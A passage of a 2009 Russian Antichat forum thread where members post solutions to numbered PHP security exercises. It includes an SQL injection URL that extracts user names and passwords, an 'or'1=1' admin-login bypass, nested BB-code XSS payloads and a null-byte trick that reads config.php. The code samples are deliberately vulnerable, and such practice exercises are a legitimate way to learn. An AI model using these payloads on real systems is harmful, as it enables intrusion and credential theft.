ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #21  
Старый 22.06.2009, 02:16
Аватар для Extremal
Extremal
Познающий
Регистрация: 21.06.2006
Сообщений: 74
Провел на форуме:
2441743

Репутация: 222
Отправить сообщение для Extremal с помощью ICQ
По умолчанию

Цитата:
Задание 010
Провести sql injection
PHP код:
<?php
$name 
str_replace('/**/','','str_replace(' ','',$_GET['name']));
$query = mysql_query("select * from users where name='
$name"); ?>
Код:
http://site.com/index.php?name=union%09select%091,2,CONCAT_WS(':',name,passwd),4,5,6%09from%09users/*

Последний раз редактировалось Extremal; 22.06.2009 в 02:18..
 
Ответить с цитированием

  #22  
Старый 22.06.2009, 03:27
Аватар для SleepShadowWeb
SleepShadowWeb
Новичок
Регистрация: 02.02.2006
Сообщений: 28
Провел на форуме:
351198

Репутация: 54
По умолчанию

в 6 'password'=0
в 9 точек добавить штук 250
в 11
PHP код:
function zamena($s
{
    return 
"0x".strtoupper(dechex($s[1]));
}


$str='  
383 текст с числами 5838  
635 еще текст 001 462  
432текст564  
'


$str preg_replace_callback("/(\d{4})/U""zamena"$str);
$str preg_replace_callback("/(\d{3})/U""zamena"$str);
echo 
$str

Последний раз редактировалось SleepShadowWeb; 22.06.2009 в 04:20..
 
Ответить с цитированием

  #23  
Старый 22.06.2009, 10:09
Аватар для BlackSun
BlackSun
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме:
10046345

Репутация: 4589


По умолчанию

Цитата:
Сообщение от Doom123  
BlackSun второе

[HREF=([HREF=(style=background:url() onerror=alert(/lo/) )HREF])HREF]

в опере пахает в остольных не проверял =)

зы хсс в стилях чесно скомуниздено у LeverOne ... т.к забыл как вызывать алерт через стили =)
Задумывалось немного по другому

Цитата:
Активную XSS можно провести, используя вложенные BB коды.
В функции parse_bb вначале все выглядит довольно спокойно:
PHP код:
$text str_replace('"'''$text);
$text str_replace("'"''$text);
$text htmlspecialchars($text); 
Но далее идет регулярное выражение, которое преобразует, фильтрованный функций htmlspecialchars, текст, находящийся меж двойных скобок ("). Используя ББ код [HREF=()HREF][/HREF] можно передать регулярному выражению текст, с "не правильно" расставленными кавычками, благодаря чему текст, находящийся после второго ББ кода (который "закрыл" первый) будет декодирован aka преобразован в html код и записан в БД. Вуаля - активная XSS.

Ядовитый код:
Код:
[HREF=([HREF=(asd)HREF]<script>alert(2)</script>)HREF]
который будет преобразован в
Код:
<a href="<a href="asd"><script>alert(2)</script>">
 
Ответить с цитированием

  #24  
Старый 22.06.2009, 11:27
Аватар для Krist_ALL
Krist_ALL
Banned
Регистрация: 14.01.2009
Сообщений: 515
Провел на форуме:
1996429

Репутация: 468


Отправить сообщение для Krist_ALL с помощью ICQ
По умолчанию

SleepShadowWeb, 9 задание не правильно сделал, остальные правильно! Молодец.

Добавил еще 3 задания.

Последний раз редактировалось Krist_ALL; 22.06.2009 в 12:27..
 
Ответить с цитированием

  #25  
Старый 22.06.2009, 12:09
Аватар для d_x
d_x
Reservists Of Antichat - Level 6
Регистрация: 25.03.2008
Сообщений: 670
Провел на форуме:
4137635

Репутация: 2407


По умолчанию

SleepShadowWeb, правильно 011 сделал, хотя можно было немного попроще:
PHP код:
$str='
383 текст с числами 5838
635 еще текст 001 462
432текст564
'
;

$str=preg_replace_callback("/(\d+)/s","replace_hex",$str);

function 
replace_hex($m)
{
  return 
'0x'.strtoupper(dechex($m[1]));
}

print 
$str
 
Ответить с цитированием

  #26  
Старый 22.06.2009, 12:32
Аватар для Extremal
Extremal
Познающий
Регистрация: 21.06.2006
Сообщений: 74
Провел на форуме:
2441743

Репутация: 222
Отправить сообщение для Extremal с помощью ICQ
По умолчанию

Задание 013
Войти в панель администрирования, используя sql injection . В БД не лезть. Обмануть проверку просто.
PHP код:
PHP код:
<?php // Login.php
....
$query "select * from admin where pass = '$_POST['pass']' and login = '$_POST['login']'";
?>
Код:
login = 'or'1=1'
pass = 'or'1=1'
 
Ответить с цитированием

  #27  
Старый 22.06.2009, 12:47
Аватар для FireFenix
FireFenix
Постоянный
Регистрация: 03.06.2009
Сообщений: 385
Провел на форуме:
3178262

Репутация: 389
По умолчанию

Задание 015
Какое число будет записано в переменую id при регистр глобал ON, и объяснить ПОЧЕМУ.
PHP код:
POST => $id = 1
COOKIE => $id = 2
GET => $id = 3
PHP код:
<?ph 
$id 
$_REСQUEST['id']; 
?>
Правильно не $_REСQUEST а $_REQUEST
При global On и опции GPC будет записанно 2
Потому что "C" (Cookie) в опции GPC стоит последней => будет записанна последней

Последний раз редактировалось FireFenix; 22.06.2009 в 12:49..
 
Ответить с цитированием

  #28  
Старый 22.06.2009, 13:06
Аватар для Extremal
Extremal
Познающий
Регистрация: 21.06.2006
Сообщений: 74
Провел на форуме:
2441743

Репутация: 222
Отправить сообщение для Extremal с помощью ICQ
По умолчанию

Задание 009
В директории 2 файла: index.php , news.inc , config.php. Надо обойти защиту от расширения и прочитать файл config.php
PHP код:
<?php

$f 
= (string)@$_GET['f'];  
$f str_replace('/'''$f);  
$f .= .inc;  

if (
file_exists($f)) { 
   echo 
htmlspecialchars(file_get_contents($f));                                    }  
 
else  exit;
?>
magic_quotes_gpc = OFF
Код:
http://site.com/file.php?f=config.php%00
 
Ответить с цитированием

  #29  
Старый 22.06.2009, 13:21
Аватар для Doom123
Doom123
Постоянный
Регистрация: 11.11.2006
Сообщений: 834
Провел на форуме:
3941248

Репутация: 668


Отправить сообщение для Doom123 с помощью ICQ
По умолчанию

BlackSun

Цитата:
Задумывалось немного по другому
можно и так ... =)

[/IMG]<script>alert(/lol/)</script>[/IMG]

если воспользоватся возможностями html_entity_decode =)
 
Ответить с цитированием

  #30  
Старый 22.06.2009, 13:22
Аватар для 159932
159932
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
Провел на форуме:
6722038

Репутация: 1385


По умолчанию

Цитата:
Сообщение от d_x  
SleepShadowWeb, правильно 011 сделал, хотя можно было немного попроще:
PHP код:
$str='
383 текст с числами 5838
635 еще текст 001 462
432текст564
'
;

$str=preg_replace_callback("/(\d+)/s","replace_hex",$str);

function 
replace_hex($m)
{
  return 
'0x'.strtoupper(dechex($m[1]));
}

print 
$str
в регулярке модификатор s зачем? помоему и без него реплейсу живёться не дурно..
strtoupper тут зачем ? поднимаем хекс товарищи!
в колбеках с небольшой ф-ией удобно будет заюзать create_function(); вместо создания отдельной ..

Последний раз редактировалось 159932; 22.06.2009 в 13:27..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[php] On-Line Фейк mail.ru m0Hze E-Mail 37 13.01.2010 19:52
SQL-Inj Finder by mr.The [Special for antichat] [PHP] mr.The PHP, PERL, MySQL, JavaScript 24 07.08.2009 01:30
Задания ~Fenix~ Болталка 11 13.05.2006 11:03



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ